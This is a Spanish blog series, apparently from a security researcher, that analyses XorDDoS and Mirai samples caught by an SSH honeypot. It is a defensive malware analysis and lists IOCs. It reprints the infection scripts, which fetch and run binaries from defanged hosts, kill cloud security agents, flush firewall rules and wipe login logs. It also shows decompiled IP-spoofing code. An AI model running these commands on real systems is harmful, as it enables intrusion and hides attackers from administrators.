[{"body":"Un honeypot es un señuelo: una máquina que finge ser vulnerable para que la ataquen y así ver qué intentan y cómo. La mía lleva días recibiendo el tráfico de fondo de internet - decenas de miles de sondas al día, casi todas automáticas y sin gracia: \"¿tienes el puerto abierto? ¿te has dejado el .env a la vista?\". Miran y siguen. Pero un cebo bien puesto no solo cuenta cuántos llaman a la puerta. De vez en cuando, uno entra - y ahí empieza lo interesante. Esto es la disección de uno de esos: desde el login hasta el binario, pasando por el guion de infección, que es una pequeña obra de artesanía sucia. 01La captura El cebo de SSH acepta contraseñas débiles a propósito (para eso está). El atacante no era una persona tecleando: era un bot, y su secuencia fue mecánica y veloz. 0,0 sConecta al puerto 22 y prueba root : ubnt - \"ubnt\" es la contraseña de fábrica de los equipos Ubiquiti (la de su cuenta ubnt; el bot la recicla contra root). El cebo le abre. 1,2 sNo saluda, no explora. Pega de golpe un script de shell de ~50 líneas y lo ejecuta. 61 sComo el wget no le funcionó en el cebo, sube el binario directamente por SFTP - con un nombre aleatorio, skhqwensw - y trata de lanzarlo (/bin/skhqwensw). Falla (el cebo no ejecuta de verdad), pero la muestra ya es mía. Por qué un nombre de galimatíasEl binario llega como skhqwensw - teclas al azar. No es descuido: cada infección usa un nombre distinto y aleatorio. Así las reglas de detección o los bloqueos por nombre de fichero no valen, y dos máquinas infectadas nunca comparten el mismo rastro en disco. Evasión barata pero efectiva - y la razón de que el hash (que sí es estable) sea la forma correcta de identificarlo, no el nombre. Del login a la desconexión, la sesión entera: 62 segundos (el último evento cae en el 61; el cierre, un segundo después). Y ese script pegado en el segundo 1 es el corazón de todo. Vamos línea por línea. 02El script, al desnudo Un solo comando de shell que hace de todo: busca dónde instalarse, ciega la seguridad de la máquina, descarga su binario según la arquitectura, sabotea a la competencia y borra sus huellas. Lo he formateado para poder leerlo, pero la lógica es tal cual. ABuscar un sitio donde escribir y ejecutar No le vale cualquier carpeta: muchas máquinas montan /tmp como noexec. Así que prueba varias y comprueba que puede ejecutar de verdad, no solo escribir. stage-A · working dir# prueba /dev/shm, /tmp, /var/tmp, /home, /root for i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do touch \"$i/test_exec\"; chmod +x \"$i/test_exec\" if [ -w \"$i\" ] \u0026\u0026 [ -x \"$i/test_exec\" ]; then wdir=\"$i\"; rm -f \"$i/test_exec\"; break fi done; cd \"$wdir\" || exit 1 BCegar los agentes de la nube (china) Aquí se retrata el objetivo: mata los agentes de seguridad de Alibaba Cloud (aegis/AliYunDun) y Tencent Cloud (YDService/tat_agent). Va a por servidores en la nube china y apaga su vigilancia para minar/atacar sin que salte ninguna alarma ni el aviso de consumo. stage-B · blind the watchersfor svc in aegis aliyun YDService tat_agent; do systemctl stop $svc; systemctl disable $svc; systemctl mask $svc done chattr -R -i -a /usr/local/aegis/ # quita el flag inmutable... chattr -R -i -a /usr/local/qcloud/ # ...para poder borrarlos pkill -9 AliYunDun; pkill -9 YDService rm -rf /usr/local/aegis /usr/local/qcloud CDescargar el binario según la arquitectura Le pasa uname -m a su propio servidor, que devuelve el binario correcto para esa CPU (x86, ARM, MIPS…). Y prueba seis métodos en cascada para no fallar - incluidos good y cool, que son sus propios wget/curl renombrados (ver stage E). stage-C · arch-aware pullarch=$(uname -m) url=\"hxxp://169.239.130[.]20/new.php?type=${arch}\" # intenta en orden hasta que uno traiga el fichero: wget -q -T 30 \"$url\" -O new.txt || curl -skL -m 30 \"$url\" -o new.txt || good -q -T 30 \"$url\" -O new.txt || # = su wget renombrado cool -skL -m 30 \"$url\" -o new.txt || # = su curl renombrado python3 -c \"import urllib.request;urllib.request.urlretrieve('$url','new.txt')\" || python -c \"import urllib;urllib.urlretrieve('$url','new.txt')\" chmod +x new.txt setsid \"./new.txt\" \u0026 # setsid = sobrevive al cierre de sesión Tres matices de esta fase de infección: setsid desprende el proceso de la sesión SSH, así que sigue vivo aunque el atacante cierre la conexión; si el fichero no arranca como binario, lo reintenta como script (sh ./new.txt); y cuando ningún método de descarga funciona (como en mi cebo, que no tiene un wget real) tiene un plan B: empujar el binario él mismo por SFTP. Ese último recurso es, irónicamente, lo que me regaló la muestra. Antes de todo esto comprueba además un \"cerrojo\" (/var/run/gcc.pid): si ya se está ejecutando, no se reinfecta. DPersistencia disfrazada de \"gcc\" Para sobrevivir a reinicios se clava un cron cada 3 minutos y se instala como servicio de arranque. Usa el nombre gcc como tapadera - un rasgo clásico de la familia XorDDoS. stage-D · persistenceecho '*/3 * * * * root /etc/cron.hourly/gcc.sh' \u0026gt;\u0026gt; /etc/crontab # + se copia como init.d / rc.d (chkconfig, update-rc.d) ESabotear a la competencia El truco más listo del guion: renombra wget→good y curl→cool. A partir de ahí, cualquier otra botnet que intente wget http://… para infectar la misma caja falla - pero este bot sigue descargando con los nombres nuevos. Territorio marcado. stage-E · lock out rivalsmv $(which wget) $(dirname $(which wget))/good mv $(which curl) $(dirname $(which curl))/cool FBajar el puente levadizo y borrar las huellas Primero desarma la defensa: para firewalld/ufw y hace iptables -F (vacía todas las reglas), para que nada estorbe la conversación con el C2. Después limpia su rastro de acceso. stage-F · anti-forensicssystemctl stop firewalld ufw; iptables -F # cae el cortafuegos for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do echo \u0026gt; \"$log\" # VACÍA el fichero (no lo borra) done Cada uno de esos tres ficheros es una libreta de accesos al sistema, y borrarlos ciega las herramientas con las que un administrador miraría \"¿quién ha entrado?\": /var/log/wtmp - los logins correctos (es lo que lee el comando last). /var/log/btmp - los logins fallidos (lastb). /var/log/lastlog - el último acceso de cada usuario. El detalle fino: usa echo \u0026gt; fichero, que lo vacía, en vez de rm, que lo borraría. ¿Por qué? Borrar el fichero rompería el registro y llamaría la atención; dejarlo existente pero en blanco es más sutil. Tras esto, un last del admin no devuelve nada: como si nadie hubiera entrado nunca. Lo que no toca este script es /var/log/auth.log - un despiste suyo que dejaría rastro del SSH. Su punto ciego - y mi red de seguridadTodo este borrado solo alcanza los logs de la propia máquina. Y sobre todo, no puede tocar lo que se registra fuera de la caja: mi cebo manda cada evento a un almacén aparte, en tiempo real. Así que mientras el bot creía estar borrando sus huellas, yo ya tenía copia de todo. El registro fuera de banda derrota al anti-forense local - es, de hecho, la lección más útil de todo el incidente. Lo que dice de su autorNinguna de estas líneas es genial por sí sola - son técnicas conocidas y copiadas. Pero juntas revelan a alguien que sabe que existen los /tmp noexec, los agentes de la nube y las botnets rivales. No hace falta ser un genio para esto: basta con conocer el terreno y ensamblarlo con oficio. 03El espécimen El binario que subió por SFTP. ESPÉCIMEN 001 · ELF XorDDoS ◈ VIVO · NO EJECUTAR TipoELF 32-bit i386 · estático · stripped Tamaño114.144 bytes Empaquetadono (UPX descartado) Compilado conAlpine clang 17.0.6 / LLD 17.0.6 Funciónbot DDoS (flood HTTP) C2cifrado (tabla XOR) SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 Dentro, entre las strings, está todo el ADN de un bot de denegación de servicio: plantillas de GET/POST HTTP para flood (con un User-Agent chino falso), su configuración de C2 escondida tras una tabla XOR, y las rutas de persistencia gcc.sh que ya vimos en el script. La huella Alpine + clang es poco común y sirve para agrupar futuras muestras del mismo autor. Regla de la casaEl binario no se publica - pero el hash sí: es ese SHA-256 completo de la ficha de arriba. Con él, cualquiera identifica la muestra y la busca en VirusTotal o MalwareBazaar sin que yo tenga que repartir el bicho. Compartir el hash es divulgar; repartir el binario es propagar. La primera línea de esta bitácora. 04¿Quién había detrás? Solo inteligencia pasiva - bases de datos de terceros que ya conocen esas IPs. En ningún momento se toca la máquina del atacante: eso ya sería cruzar al otro lado. Dos servidores tocaron esta captura (el que hizo el login y pegó el script, y el que servía los binarios), los dos en hosting \"offshore\" tolerante al abuso (VPS baratos y desechables, no víctimas inocentes). Y un detalle que enseña mucho: el servidor de distribución - el que reparte el binario - es invisible para los feeds de reputación por escaneo (GreyNoise \"no lo ha observado\") - porque un servidor así no escanea: se queda quieto, sirviendo el bicho a quien viene a por él. Mi honeypot lo pilló con las manos en la masa; las bases de datos globales, ni se enteran. Moraleja: hacen falta varias fuentes. Cabo suelto · continuaráQueda una pieza sin abrir: el C2 del bot DDoS vive dentro del binario, pero cifrado con esa tabla XOR - y no ha caído con los métodos rápidos. Recuperarlo ya es ingeniería inversa de verdad: abrir el ELF con Ghidra, localizar la rutina que lo descifra y sacarle el algoritmo. Eso merece capítulo propio - cómo se recupera una configuración oculta, con fin defensivo y sin rozar la parte de ataque. Lo destripo en la próxima entrega. 05Indicadores (IOCs) Indicadores de esta captura - listos para bloquear, buscar o reportar. TipoValor SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 Distribuciónhxxp://169.239.130[.]20/new.php Credencialroot : ubnt (pass de fábrica Ubiquiti) Persistencia/etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3 Renombradoswget→good · curl→cool Huella de buildAlpine clang 17.0.6 / LLD 17.0.6 Continuará - el C2 de este bicho sigue cifrado en el binario; lo destripo con Ghidra en la próxima entrega. Y el cebo sigue encendido, esperando al siguiente. 🍯","date":"2026-08","fam":"XorDDoS","n":1,"spec":"XorDDoS","sum":"Tengo un honeypot en algún rincón de la red. La mayoría es ruido: escáneres que miran y se van. Hasta que uno entró, se creyó administrador, y me subió su bicho por la puerta de servicio.","t":"Alguien me trajo su malware a casa","tags":["honeypot","DDoS","Cowrie","análisis estático"],"tipo":"Botnet (DDoS)","url":"/capitulo-1/"},{"body":"En el Capítulo 1 quedó un cabo suelto: el bot lleva su C2 escondido dentro del binario, cifrado con una tabla XOR, y con los métodos rápidos no cayó. Hoy lo abro con Ghidra - y sale entero. Recuperar una configuración oculta para sacar IOCs y poder defenderse no tiene nada que ver con reconstruir el arma: la parte de DDoS ni se toca. Lo que busco es a quién llama el bicho. Pero al abrirlo, buscando eso, apareció todo lo demás que lleva dentro - y resultó ser mucho más interesante que una lista de dominios. 01El binario en la mesa Cargué la muestra en Ghidra (en headless, sin interfaz; la GUI la abrí después solo para la captura de más abajo) y dejé que la auto-analizara. La pista para encontrar el descifrador salió de un simple strings sobre el binario: entre la basura aparecían, repetidas, la cadena BB2FA36AAA9541F0 y una tabla hexadecimal 0123456789ABCDEF. Basta pedirle a Ghidra quién referencia esos datos para dar con la rutina que los usa: FUN_00015d00, corta, con un bucle y operaciones XOR. Ese es nuestro hombre. 02La rutina de descifrado Resumen para quien no quiera bajar al fango: es un XOR de clave repetida de 16 bytes, y la clave estaba a la vista todo el rato - el propio relleno de ceros de la config la delataba en las strings. Con eso, descifrar es una línea. El destripe, para quien lo quiera: La rutina en Ghidra, byte a bytedesensamblado Así queda el corazón de FUN_00015d00 en el decompilador (recortado a lo esencial): ghidra · FUN_00015d00 (decompilado)do { *pbVar4 = *pbVar4 ^ (\u0026DAT_00011070)[uVar5 \u0026amp; 0xf]; pbVar4[1] = pbVar4[1] ^ (\u0026DAT_00011070)[uVar5 + 1 \u0026amp; 0xf]; pbVar4[2] = pbVar4[2] ^ (\u0026DAT_00011070)[uVar5 + 2 \u0026amp; 0xf]; pbVar4[3] = pbVar4[3] ^ (\u0026DAT_00011070)[uVar5 + 3 \u0026amp; 0xf]; uVar5 = uVar5 + 4; pbVar4 = pbVar4 + 4; } while (param_2 != uVar5); // param_2 = longitud La rutina, en Ghidra. A la izquierda el ensamblador x86 tal cual está en el binario; a la derecha, el mismo código traducido a C. Ahí están los ^ *pbVar3 del bucle de XOR, el DAT_00011070 que apunta a la clave, y las constantes 0x4136334146324242 y 0x3046313435394141 - que leídas como bytes ASCII son, letra por letra, BB2FA36AAA9541F0. La clave estaba a la vista: texto ASCII tal cual, solo que el desensamblado enseña cada inmediato de 8 bytes del revés, en orden little-endian. Se lee de un vistazo: XOR de cada byte con una clave indexada por posición \u0026amp; 0xf - una clave de 16 bytes que se repite, guardada en DAT_00011070. El \"ajá\" que me tenía despistadoLa clave resultó ser los caracteres ASCII de \"BB2FA36AAA9541F0\" (bytes 42 42 32 46 41 33 36 41…), no los bytes hexadecimales decodificados. Y por eso el relleno cantaba: la config lleva ceros de padding, y cero XOR clave = clave. Por eso BB2FA36AAA9541F0 aparecía repetido en las strings - era el padding delatando la clave. 03La configuración al desnudo Replico el algoritmo (leer la clave, XOR con índice pos % 16) y lo aplico sobre los datos de config. Sale limpio: config descifrada# servidores C2 (con failover), puerto 1529 telemetry-pipe.sh:1529 | api-metadata-v6.is:1529 | sys-kernel-update.to:1529 # URL de configuración / actualización https://api-metadata-v6.is/config.rar Tres dominios de C2 en el puerto 1529, separados por | como lista de reserva, más una URL para bajar su configuración. Ese era el secreto que el cifrado guardaba. 04El disfraz de los dominios Fíjate en los nombres - no son casualidad. Están elegidos para parecer infraestructura legítima: telemetry-pipe.sh - suena a \"tubería de telemetría\", y el TLD .sh (Santa Elena) hace que parezca un nombre de script de shell. Doble disfraz. api-metadata-v6.is - parece un endpoint de API interno de lo más normal. sys-kernel-update.to - huele a \"actualizaciones del sistema\", justo lo que un admin no mira dos veces. Es esconderse a plena vista: en un log de conexiones, estos nombres no levantan la ceja. Y los TLDs de países pequeños (.sh, .is, .to) se eligen por disponibilidad y menos escrutinio. Es el mismo instinto (disfrazarse de sistema) que le veremos aplicar a sí mismo cuando corre en una máquina; volveremos a él. 05¿Sigue viva la infraestructura? OSINT pasivo (resolución DNS + bases de datos de terceros; nunca toco los servidores): de los tres dominios, dos están dormidos (no resuelven) y el tercero, sys-kernel-update.to, apunta a 141.98.11.51: HostBaltic (AS209605, Lituania), hosting tolerante al abuso. Dos dormidos y uno activo es lo normal en una lista de C2 con reservas: no todos se encienden a la vez. Shodan ve esa IP como un servidor Windows; el puerto real del C2, el 1529, no sale porque es poco común y no se escanea de rutina. Un patrón que dice muchoCada pieza vive en un hosting offshore distinto: el loader entró desde un proveedor, el binario se sirvió desde otro, y el C2 vive en un tercero. Reparten la infraestructura en tres casas de abuso para que tumbar una no lo tire todo. Cutre en la ejecución, pero con cierta idea de resiliencia. Un detalle del binario que encaja aquí: lleva dos servidores DNS de Google escritos dentro, 8.8.8.8 y 8.8.4.4. En un bicho cuyo C2 va por dominio, tener resolutores propios no es decoración - se asegura de poder resolver aunque el DNS de la máquina falle o esté vigilado. Y hay un movimiento que la resolución de hoy no enseña, con consecuencia práctica: esa IP no siempre fue esa. El nombre se muda de número dentro de HostBaltic, sin salir del mismo ASN. Ahí está la lección para el catálogo: si publicas la IP a secas, tu indicador caduca y el que lo copie bloquea una dirección vacía. Lo que aguanta es el par dominio + ASN. Cambiar de número dentro del mismo proveedor le cuesta cero; cambiar de proveedor, no. 06Lo encendí en una jaula Todo lo anterior sale de leer el binario. Pero leer cuenta lo que un programa sabe hacer; encenderlo cuenta lo que hace. Así que lo hice - en una máquina virtual aislada, con la red sin salida a ninguna parte, y revertida a una foto limpia al terminar. En el cebo eso no se hace nunca (tiene IP pública y soltar un gusano contagiaría a terceros); en una jaula sellada, sí. La diferencia es la jaula. Lo primero: se copia. Una copia va a /usr/lib/libudev.so (ruta de biblioteca del sistema, nombre de biblioteca del sistema), idéntica byte a byte a la muestra: el mismo SHA-256 de la ficha del Capítulo 1. Otra va a /usr/bin con un nombre de diez letras al azar, y esa ya no tiene el hash que publiqué. Es el mismo truco del nombre de galimatías del primer capítulo, un escalón por encima: entonces rotaba el nombre en disco, aquí rota el fichero entero. El hash que di identifica el fichero que me subieron; al minuto de correr en una máquina de verdad, lo que se ejecuta allí ya tiene otro. Y entonces miré la lista de procesos, y no lo encontré. Estaban crond, /usr/sbin/gdm3, rpc.statd, automount, rpc.idmapd y /sbin/audispd. Seis demonios de sistema de lo más aburrido, de esos por los que la vista resbala. Los seis eran él. Un proceso arrastra dos nombres: el que el núcleo apunta al arrancarlo, y el que el propio programa se escribe en argv[0] - el que sale en la lista. Y ahora que tengo el binario abierto, sé cómo se pone el falso: se relanza a sí mismo pasándose el nombre a aparentar, y en ese segundo arranque se borra la línea de órdenes y escribe encima. El mecanismo del disfraz, en el decompiladodesensamblado ghidra · el disfraz, en tres pasosnombre = argv[1]; // se guarda el nombre a aparentar memset(argv[0], 0, ...); // borra su propio nombre memset(argv[1], 0, ...); // borra el que le pasaron memset(argv[2], 0, ...); // borra el tercero // y escribe el falso encima de argv[0] Por eso, si te fijas en la memoria del proceso, aparecen restos del tipo /usr/bin/xqaghzmjom [kthreadd] 19882: el bicho llamándose a sí mismo, con el nombre falso en medio y detrás el número del proceso al que quiere parecerse. En la jaula le vi puestos seis nombres, pero en el código lleva dieciocho, y doce son de un tipo que los seis no incluían - hilos del núcleo, esos nombres entre corchetes: los dieciocho, en el binariohilos del núcleo [kthreadd] [rcu_gp] [rcu_par_gp] [cryptd] [mld] [scsi_eh_2] [cpuhp/0] [mm_percpu_wq] [ttm_swap] demonios crond automount rpc.statd rpc.idmapd pcscd hald-runner (sd-pam) /usr/sbin/gdm3 /sbin/audispd Y esa distinción tiene consecuencia. Comparar el nombre que dice un proceso con el fichero al que apunta su /proc/\u0026lt;pid\u0026gt;/exe no vale como regla general: un bicho que se cambie los dos nombres pasa por debajo, y alguno hay en esta misma bitácora. Pero contra estos doce sí vale, y sin discusión: un hilo del núcleo de verdad no tiene ejecutable. Si algo dice ser [kthreadd] y su /proc/\u0026lt;pid\u0026gt;/exe apunta a un fichero en /usr/bin, no hay interpretación posible. Contra un crond falso no sirve; contra un corchete falso, es definitivo. 07Se busca donde busca a sus rivales El mismo binario tiene una rutina para quitarse de encima a la competencia: recorre los procesos de la máquina uno por uno, resuelve el /proc/\u0026lt;pid\u0026gt;/exe de cada uno, lo compara con lo que busca, y mata al que coincide. Es su forma de quedarse la máquina en exclusiva - la misma guerra entre delincuentes que sale en media bitácora, aquí leída en el código, no deducida. Veinte líneas más arriba, en la misma función, hay otra llamada a /proc/\u0026lt;pid\u0026gt;/exe. Pero esta no es sobre un rival: es sobre sí mismo. Las dos llamadas, en la misma funcióndesensamblado ghidra · bot_main// sobre sí mismo — para saber dónde está su propio binario sprintf(ruta, \"/proc/%d/exe\", getpid()); readlink(ruta, ...); // … veinte líneas más abajo, sobre los demás — para cazarlos sprintf(ruta, \"/proc/%d/exe\", pid_ajeno); readlink(ruta, ...); kill(pid_ajeno, 9); Y no es que le apetezca preguntar por sí mismo: es que no le queda otra. Acaba de borrar su propio argv[0] para disfrazarse (lo vimos en la sección anterior), y con eso ha destruido la vía normal que tiene un programa de saber dónde está su fichero. Así que para encontrarse tiene que ir al mismo sitio por el que caza a los demás - y por el que, si te fijas, se le caza a él. Depende del mismo rastro que lo delata. No es una manera de hablar: son dos llamadas, en la misma función, a veinte líneas. Se esconde borrando lo único que decía quién era, y luego tiene que ir a preguntarlo al mostrador donde cualquiera puede oírlo. 08Y miente sobre de dónde viene Hasta aquí, un bicho que se esconde. Pero hace algo más, y es lo que lo separa de un flooder cualquiera: falsifica su dirección de origen. El cebo lo ha grabado haciéndolo - una ráfaga corta, un par de segundos, unas sesenta conexiones cuyo remite no era el suyo. Direcciones vecinas, y la distancia con la real no era ruido: la distancia entre el origen falso y el real, en orden de llegada−1 +1 −3 +3 −7 +7 −15 +15 −31 +31 −63 +63 −127 +127 −255 +255 −511 +511 −1023 +1023 −2047 +2047 … … doblando cada paso, hasta el final del rango Uno menos, uno más. Tres menos, tres más. Cada paso el doble, y siempre simétrico. Eso no lo escupe un generador al azar: lo cuenta alguien. Y fui al binario a ver quién. Está - y no es una sospecha del tráfico: es código, y aparece en dos sitios del programa. Pero lo interesante es cómo está montado: Es opcional, y no lo decide el bicho. Hay una casilla en su config; si no está puesta, usa su dirección real. La rellena el centro de mando. Va acotada. El operador no le dice «miente»: le da un rango, y el bicho se mueve dentro. No hay azar. La dirección falsa sale de una cuenta, no de un generador - por eso la ráfaga son pasos regulares y no ruido. Eso encaja con lo que grabó el cebo hasta en el orden: el bicho habla primero con su central usando su dirección verdadera, y después empieza a mentir. No estaba tanteando nada por su cuenta: recibió la orden y la ejecutó. La cabecera y el cálculo, byte a bytedesensamblado Para falsificar el origen hay que pedirle al núcleo que te deje escribir la cabecera del paquete tú mismo. Son dos gestos, y los dos están en el binario: un socket crudo y la opción IP_HDRINCL. Con eso activo, el sistema ya no rellena tu dirección: la pones tú. ghidra · el paquete, montado a mano// socket crudo + \"la cabecera va incluida\" fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt(fd, IPPROTO_IP, IP_HDRINCL, \"1\", 2); // ← le pasa el TEXTO \"1\", no un entero // y escribe la cabecera IP byte a byte: h[0] = 0x45; // versión 4, longitud de cabecera 5 h[2..3] = htons(72); // longitud total h[8] = 128; // TTL h[9] = 17; // protocolo = UDP h[12..15] = origen_falso; // ← aquí va la mentira h[16..19] = destino; Ese \"1\" es una chapuza que funciona por los pelos: le pasa dos bytes de texto donde el núcleo espera un entero. El núcleo lee algo distinto de cero y enciende la opción igual. Y el cálculo del origen falso, que es lo que hace la ráfaga regular: ghidra · de dónde sale la direcciónif (cfg.spoof == 1) { // ← el interruptor del C2 tam = cfg.rango_fin - cfg.rango_base + 1; origen = cfg.rango_base + (X % tam); // X = valor de una tabla, por contador } else { origen = mi_ip_real; } Base y fin son dos campos que manda el operador. X sale de una tabla indexada por un contador - determinista, sin rand(). El mecanismo explica que la ráfaga sean pasos que doblan; reproducir el patrón exacto haría falta la tabla y el rango que el C2 mandó aquella vez. Y lo que más te sirve si defiendes no es el molde, es la firma en la red: una ráfaga corta (decenas de paquetes en dos segundos, no miles) desde direcciones vecinas a la real que van doblando la distancia; y, sobre todo, direcciones de tu propio espacio llegando desde fuera, que es justo lo que un filtro de entrada bien puesto debería tirar siempre. La capacidad es del bicho; la detección es tuya. Una honestidad de métodoDos cosas que no conviene mezclar: el comportamiento (la ráfaga) lo vi en una captura del cebo; la capacidad (que está escrito en el programa) la leo en el binario que tengo abierto. Son de la misma familia, no te garantizo que del mismo fichero al byte. Digo que esto lo lleva dentro XorDDoS y que encaja con lo grabado, no que haya desensamblado el paquete exacto que salió por el cable. 09Lo que una jaula no te cuenta Un detalle que me hizo pensar, y que va sin adorno porque es la lección honesta del capítulo. Cuando encendí el bicho en la jaula, vi el disfraz, vi las copias, vi la persistencia. De la falsificación de origen no vi nada. Y no porque se escondiera: Miré los procesos, no la red. Monté la observación para responder «¿qué se instala y con qué nombre?», y a eso contestó entero. La otra pregunta ni la hice. Y aunque la hubiera hecho, no habría visto nada. La jaula no tiene salida - para eso es una jaula. Así que el bicho nunca llegó a hablar con su central, nunca recibió la casilla del spoofing puesta, y nunca ejecutó esa rama del código. La capacidad estaba dormida por diseño. Una detonación solo cuenta aquello para lo que la montaste, y en una red sin salida hay ramas enteras del programa que no se pisan. La mentira sobre el origen no la enseñó la jaula; la enseñó el código, y la confirmó el cebo cuando el bicho tuvo una central de verdad al otro lado. Ninguna de las dos vías, sola, la habría contado entera. Y las herramientas tampocoPasé este binario por un clasificador automático de capacidades y no vio el socket crudo. En un binario estático y sin símbolos, que una herramienta no encuentre algo no prueba que no esté. 10Indicadores (IOCs) TipoValor C2 (puerto 1529)telemetry-pipe.sh · api-metadata-v6.is · sys-kernel-update.to C2 activo141.98.11.51 (HostBaltic, AS209605, LT) Indicador duraderosys-kernel-update.to + AS209605 - la IP baila dentro del ASN; el dominio y el proveedor, no URL confighttps://api-metadata-v6.is/config.rar Cifrado configXOR · clave 16 bytes ASCII \"BB2FA36AAA9541F0\" · idx = pos \u0026amp; 0xf Resolutores embebidos8.8.8.8 · 8.8.4.4 Copia en biblioteca/usr/lib/libudev.so - mismo SHA-256 que la muestra Copia en /usr/binnombre de diez letras al azar - SHA-256 distinto al de la muestra Procesos suplantados (18)[kthreadd] · [rcu_gp] · [rcu_par_gp] · [cryptd] · [mld] · [scsi_eh_2] · [cpuhp/0] · [mm_percpu_wq] · [ttm_swap] · crond · automount · rpc.statd · rpc.idmapd · pcscd · hald-runner · (sd-pam) · /usr/sbin/gdm3 · /sbin/audispd La comprobación que sí valeun proceso con nombre entre corchetes cuyo /proc/\u0026lt;pid\u0026gt;/exe resuelve a un fichero - un hilo del núcleo auténtico no tiene ejecutable. Solo para corchetes Capacidad de spoofingfalsificación de la IP de origen - opcional, la activa el C2, acotada a un rango del operador y calculada sin azar Cómo se ve en la redráfaga corta (decenas de paquetes en dos segundos) desde direcciones vecinas a la real en pasos simétricos que doblan · y direcciones de tu propio espacio llegando desde fuera (un filtro de entrada debería tirarlas) Y así se cierra el cabo suelto del Capítulo 1 - el C2 estaba ahí, cifrado, y ahora está sobre la mesa - y de paso el bicho entero: cómo se esconde, cómo caza, y cómo miente. Contado sin recortes: la capacidad, cómo funciona y cómo se detecta. Lo que no se reparte no es el análisis, es el arma - el binario y el exploit del vector de entrada; eso se queda fuera. El resto está aquí. Continuará - el cebo sigue encendido. Me queda una cosa por leer de este bicho: cuando le mandan falsificar, le dan un rango. El rango decide a quién le echan la culpa. Eso no está en el binario - se lo dice el C2 por el cable, y esa conversación todavía no la sé leer. 🍯","date":"2026-08","fam":"XorDDoS","n":2,"spec":"XorDDoS","sum":"En el Capítulo 1 el C2 se quedó cifrado dentro del binario. Aquí lo abro con Ghidra y sale entero - pero de paso aparece todo lo demás que este bicho lleva dentro: cómo se disfraza de proceso del sistema, cómo mata a la competencia usando el mismo rastro que lo delata a él, y cómo miente sobre su propia dirección cuando su central se lo ordena.","t":"Abriendo XorDDoS con Ghidra","tags":["Ghidra","ingeniería inversa","C2","XOR","spoofing","análisis estático"],"tipo":"Botnet (DDoS)","url":"/capitulo-2/"},{"body":"Nueva familia en el cebo. Después de los dos capítulos con XorDDoS, esta vez entró un Mirai - la otra gran estirpe de las botnets del IoT. La secuencia de infección es hermana de la anterior, pero con un giro: el atacante se dejó el código fuente de su servidor a la vista. Un regalo de OPSEC que no se rechaza. Este capítulo es la caza: cómo entró, qué soltó, y qué encontré cuando tiré del hilo hasta su máquina de reparto. El destripe del binario (el bot en sí) va en el Capítulo 4. 01La captura Otra vez un bot, no una persona. Entró por fuerza bruta y actuó en menos de un segundo, sin explorar. Los tres pasos que siguen llevan la misma marca de tiempo: ocurrieron dentro de la misma décima de segundo. Ahí está la prueba - ninguna mano teclea tres órdenes en cien milisegundos. 0,0 sEntra por SSH con credencial de diccionario (root). El cebo le abre. ↳Reconoce la arquitectura: lanza uname -s -v -n -m y mira /proc/version y /etc/os-release. Necesita saber qué CPU tiene la víctima. ↳cd /tmp → descarga un guion llamado ok (wget y curl, por si uno falla) → sh ok → rm -rf ok ok.1. El reconocimiento, con red de seguridadEl comando de uname venía envuelto en un one-liner que prueba uname, /bin/uname, busybox uname y, si nada responde, cae a leer /proc/version. No da nada por hecho: quiere la arquitectura sí o sí, porque de ella depende cuál de sus binarios ejecutar. Ese ok es un cargador (loader): no es el bot, es quien trae al bot. Lo capturé entero. 02El cargador, al desnudo Doce líneas idénticas salvo por un nombre. Cada una descarga un binario, le da permisos, lo ejecuta con un argumento (bc) y lo borra: ok · loader multiarquitectura# (12 líneas, una por arquitectura de CPU) wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5 chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1 # ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce... Tres cosas que contar de esta pieza: Prueba las 12 arquitecturas. Lanza los doce binarios; solo corre el que casa con la CPU de la víctima, los demás fallan en silencio. Cubrir ARM, MIPS, x86, PowerPC, SPARC… es cómo un mismo bot infecta desde una cámara hasta un servidor. Nombres que rotan. Cada vez que se pide el ok, trae nombres de fichero distintos (6 hex al azar). Como el galimatías del Capítulo 1, pero llevado al servidor: bloquear por nombre no sirve de nada. La etiqueta bc. El argumento con que se ejecuta cada binario es el identificador de campaña que el bot reportará a su central - le dice de qué campaña viene. El wget y el curl en la misma línea son un cinturón-y-tirantes: si la caja no tiene uno, tiene el otro. Y el .1 del borrado limpia el duplicado que deja curl -O cuando wget ya bajó el fichero. Detalles de alguien que ha visto fallar su guion en máquinas raras. 03El servidor que se dejó la puerta abierta El ok apunta todo a un servidor: 5.182.210[.]174. Fui a mirarlo - solo lectura, sin tocar nada - y me encontré con la raíz abierta como un listado de directorio. Ahí estaban los binarios… y dos ficheros que no deberían estar: http y http.go. El atacante había dejado a la vista el código fuente de su propio servidor de reparto. Es un FileServer escrito en Go (su 404, \"404 page not found\", es la huella inconfundible del net/http). Corto, funcional, y con un detalle revelador: un filtro anti-curiosos. http.go · el filtro (fragmento real)// Permite apenas requisições de wget e curl if !strings.HasPrefix(userAgent, \"curl\") \u0026amp;\u0026amp; !strings.HasPrefix(userAgent, \"Wget\") \u0026amp;\u0026amp; !strings.HasPrefix(userAgent, \"axel\") { blockedIPs[clientIP] = time.Now().Add(10 * time.Minute) blockIP(clientIP) // iptables -A INPUT -s IP -j DROP http.Error(w, \"403 Forbidden\", http.StatusForbidden) } Solo sirve el malware a quien se presente como wget, curl o axel. A cualquier otro (un navegador, un escáner, un investigador) lo mete en iptables y lo banea 10 minutos. Es una defensa deliberada contra el análisis: quieren que solo sus víctimas alcancen los ficheros. Y la defensa tiene su propio agujeroFíjate en cómo saca la dirección a la que va a banear: le recorta seis caracteres por la derecha a r.RemoteAddr, que llega con la forma ip:puerto. Eso da por sentado que el puerto de origen tiene cinco cifras. Cuando quien llama sale por un puerto de cuatro, el recorte se lleva por delante un dígito de la IP - y el iptables acaba bloqueando una dirección que no es la suya. Escribió un cerrojo contra curiosos que, con una parte de los curiosos, cierra la puerta de otro. La firma del autorLos comentarios del código están en portugués (\"Adiciona o IP ao iptables para bloqueio\", \"Permite apenas requisições de wget e curl\"). Sumado a la sencillez del montaje, apunta a un operador lusófono. No es una atribución - es 